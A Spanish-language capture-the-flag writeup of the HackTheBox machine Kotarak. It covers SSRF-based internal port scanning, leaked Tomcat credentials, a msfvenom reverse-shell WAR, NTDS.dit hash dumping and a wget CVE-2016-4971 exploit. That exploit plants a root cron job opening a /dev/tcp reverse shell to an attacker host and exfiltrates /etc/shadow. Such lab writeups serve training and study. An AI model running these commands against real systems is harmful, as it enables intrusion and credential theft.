Saltar al contenido

HackTheBox – Kotarak – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Kotarak de Hack The Box. Es una máquina Linux de nivel difícil con un pequeño «easter egg» o giño a Directorio Activo bastante sencilla de explotar pero con una escalada de privilegios un poco enrevesada.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --open 10.10.10.55

En la máquina hay cuatro puertos abiertos. Escaneo los cuatro que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,8009,8080,60000 -sC -sV 10.10.10.55
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-14 16:38 CET
Nmap scan report for 10.10.10.55
Host is up (0.12s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods: 
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp  open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title:         Kotarak Web Hosting        
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.07 seconds

Continuo analizando los servicios de forma independiente.

HTTP

Puerto 8080

Entro al servicio desde el navegador y lo único que veo es un mensaje de error 404.

Ya se que es un Apache Tomcat, y la ruta por defecto de su plataforma es <IP>:<Puerto>/manager/html. Me dirijo a esta ruta y utilizo las credenciales por defecto tomcat:s3cret pero me aparece un error 401 Unauthorized porque las credenciales son erroneas.

Puerto 60000

Entro al servicio desde el navegador y me aparece una pantalla con un campo en la que dice que puedo navegar anónimamente.

La aplicación parece coger cualquier URL que le introduzca. Aquí se me pasa por la cabeza que puede existir un Server Side Request Forgery (SSRF). Este tipo de vulnerabilidades me permite enviar peticiones a la red interna desde fuera de esta (mas info aquí o aquí).

Pruebo a buscar la información de un puerto del host que yo se que se está ejecutando, por ejemplo el 22, y obtengo el nombre entero del servicio; así que confirmo la vulnerabilidad SSRF.

Después de hacer click en Submit veo que me redirije a la url http://10.10.10.55:60000/url.php?path=localhost%3A22.

Compruebo los puertos internos abiertos, del 1 al 65535, con wfuzz y su comando range.

wfuzz -c --hc=404 --hl=2 -z range,1-65535 "http://10.10.10.55:60000/url.php?path=localhost%3AFUZZ"

Voy probando los puertos que encuentro uno por uno y en el puerto 888 encuentro una especie de repositorio donde hay un fichero con información, concretamente 2’22 kB.

Si hago click directamente en el fichero me lleva a la ruta http://10.10.10.55:60000/url.php?doc=backup, es decir, me saca del localhost, para entrar del el fichero real tendría que modificar la url para abrir el fichero en el localhost. Esto lo haría dirigiendome a la ruta http://10.10.10.55:60000/url.php?path=localhost%3A888/?doc=backup.

A primera vista parece que no hay nada, pero el repositorio indicaba que el tamaño del fichero era de 2’22kB así que leo el código fuente del fichero y encuentro, entre las etiquetas, las credenciales admin:3@g01PdhB!.

Me dirijo a la ruta de Apache Tomcat, en la ruta http://10.10.10.55:8080/manager/html, utilizo las credenciales admin:3@g01PdhB! en el Apache Tomcat y consigo autenticarme.

En este punto, obtener una shell reversa es bastante fácil. Solo tengo que generar un binario malicioso con msfvenom en formato .war, subirlo a la aplicación y abrirlo.

Comienzo generando el binario.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=7897 -f war -o rshell.war

Subo el binario en la aplicación, desde la sección de WAR file to deploy.

Pongo un netcat a la escucha por el puerto 7897 y abro el binario (click derecho), consiguiendo una shell reversa como usuario tomcat.

Esta en una shell no tty, como de costumbre, al final del post indicaré como hacer el tratamiento para convertirla a tty.

Encuentro la flag de usuario en la ruta /home/atanas/user.txt pero no tengo permisos para leerla.

Parece que va a hacer falta hacer un user pivoting…

User Pivoting

Vuelvo al directorio raíz del usuario tomcat y, en la ruta /home/tomcat/to_archive/pentest_data, encuentro un fichero .dit y otro .bin de windows.

ntds.dit es un fichero de Directorio Activo (AD) donde se almacenan, entre otras cosas, los hashes de los usuarios del sistema, es decir, es la base de datos del Directorio Activo de un Controlador de Dominio (DC). Por otro lado, el fichero .bin parece un fichero de registro de Windows.

El fichero .dit es el equivalente al SAM y el .bin al SYSTEM. Por lo que, con ambos ficheros, puedo obtener los hashes de usuario. Me descargo los dos ficheros por netcat.

Extraigo los hashes con el script secretdump.py.

secretsdump.py -ntds 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin LOCAL

Guardo los hashes el en fichero rawhash y los imprimo por pantalla de forma que solo se muestre el hash LM de cada uno.

cat rawhash | awk '{print $4}' FS=":"

Llevo los hashes a crackstation y consigo obtener tres contraseñas: f16tomcat!, <vacio> y Password123!.

Como no se cual de las tres contraseñas puede ser la del usuario, pruebo las tres de forma manual y descubro que puedo cambiar de usuario con la primera contraseña por lo que las credenciales serían atanas:f16tomcat!.

su atanas

Ahora si me dirijo a /home/atanas y obtengo la flag de usuario.

Escalada de Privilegios

Me dirijo al directorio raíz del usuario root y me encuentro el fichero app.log y el fichero flag.txt.

Parece que tengo permisos de lectura y ejecución sobre los dos ficheros (los dos son propiedad de mi usuario) así que comienzo abriendo el fichero flag.txt pero solo encuentro una pista. Después leo el fichero app.log y veo lo que parece ser unos logs de acceso de Apache en los que se muestran solicitudes GET, con dos minutos de diferencia, del host 10.0.3.133, con un User-Agent de Wget/1.6.

En primer lugar, lanzo dos trazas ICMP a la IP 10.0.3.133 para comprobar si tengo conexión con ella.

ping -c 2 10.0.3.133

Después, me llama mucho la atención que las solicitudes GET sean cada dos minutos exactos, así que pienso que puede haber un cron job configurado. No logro encontrar la tarea en el crontab ni en el resto de ficheros cron pero si que está activo el servicio cron.

service cron status

Como no tengo ninguna pista mejor, voy a seguir este vector de ataque…

La otra pista que me aparece en el fichero de logs es la versión del Wget. Compruebo la versión de Wget que hay en el sistema y me muestra que es la 1.17.1, es decir, la tarea está utilizando una versión anterior a la del sistema.

wget --version

Busco vulnerabilidades conocidas de wget y encuentro esta, que es una vulnerabilidad de Arbitrary File Upload (AFU) / Remote Code Execution (RCE) para para wget en versiones anterior a la 1.18, así que esta me serviría. La vulnerabilidad está registrada con el código CVE-2016-4971.

La vulnerabilidad es un poco complicada de seguir pero, en resumen, me permite engañar a wget para que almacene un fichero local al redirigir la solicitud a un servidor FTP. Puedo cambiar el comportamiento de wget, al enviar un fichero .wgetrc, y poder ver el contenido de un fichero al que el usuario del cron job tenga acceso. Después de esto, obtengo un fichero en formato crontab, almacenado en /etc/cron.d y ejecutar cualquier comando cuando se ejecute la tarea cron. Puedo modificar el exploit para que, en lugar de obtener un fichero en formato crontab, obtenga una shell reversa.

Lo primero que necesito para que funcione el exploit verificar que las solicitudes GET siguen llegando pero tengo que el problema de que las solicitudes se ejecutan por el puerto 80 y, para poder utilizar cualquier por debajo del 1024 necesito tener privilegios de root. Después de buscar un rato como utilizar el puerto 80 sin ser root, encuentro la herramienta authbin que, si se encuentra instalada, me permitiría usar el puerto 80.

Compruebo que authbin está instalado.

which authbind

Como está instalada, puedo utilizar el puerto 80. Pongo un netcat a la escuha por el puerto 80 para comprobar si la tarea se sigue ejecutando y, a los pocos segundos, recibo una petición GET del host 10.0.3.133 a la IP 10.0.3.1.

authbind nc -nlvp 80

Genial, parece que he encontrado el camino. Me llama la atención que la IP del receptor sea la 10.0.3.1 cuando yo me encuentro en la 10.10.10.55. Compruebo las IPs del host y veo que existe la 10.0.3.1 y que pertenece a un LXC (un contenedor).

Como tengo todas las piezas, ya puedo utilizar el exploit, solo tengo que hacer una pequeña modificación/configuración:

  • El HTTP de escucha va a ser en el contenedor.
  • El FTP va a estar alojado en mi máquina atacante
  • La tarea cron me va a generar una shell reversa a mi máquina atacante por el puerto 7899.
HTTP_LISTEN_IP = '10.0.3.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.14.14'
FTP_PORT = 21

ROOT_CRON = "* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.14.14/7899 0>&1' \n"

Creo el fichero .wgetrc tal y como se indica en el exploit.

cat <<_EOF_>.wgetrc
> post_file = /home/atanas/test
> output_document = /etc/cron.d/wget-root-shell
> EOF

Monto el servidor FTP (en mi máquina atacante) en el mismo directorio donde he añadido el fichero .wgetrc.

mkdir /tmp/ftptest
cd /tmp/ftptest
mv .wgetrc /tmp/ftptest/.wgetrc
sudo python -m pyftpdlib -p21 -w

Ahora, pongo un netcat a la escucha por el puerto 7899 y ya solamente tengo que ejecutar el exploit y esperar a que se realice la tarea cron.

authbind python exploit.py

Después de poco mas de un minuto, en la ventana del FTP, veo que «alguien» ha cogido el fichero .wgetrc.

Y puedo ver logs en la ventana de ejecución del exploit. He obtenido el contenido del fichero /etc/shadow por lo que el exploit se ha ejecutado correctamente y el cron se ha escrito.

Como dice en la última línea, espero un minuto mas y obtengo la shell reversa como root.

La flag la encuentro en la ruta /root/root.txt dentro del contenedor

Consola tty

Como ya he dicho anteriormente, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty, por lo menos para la flag de root. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de ventana.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFHTBLinuxOSCP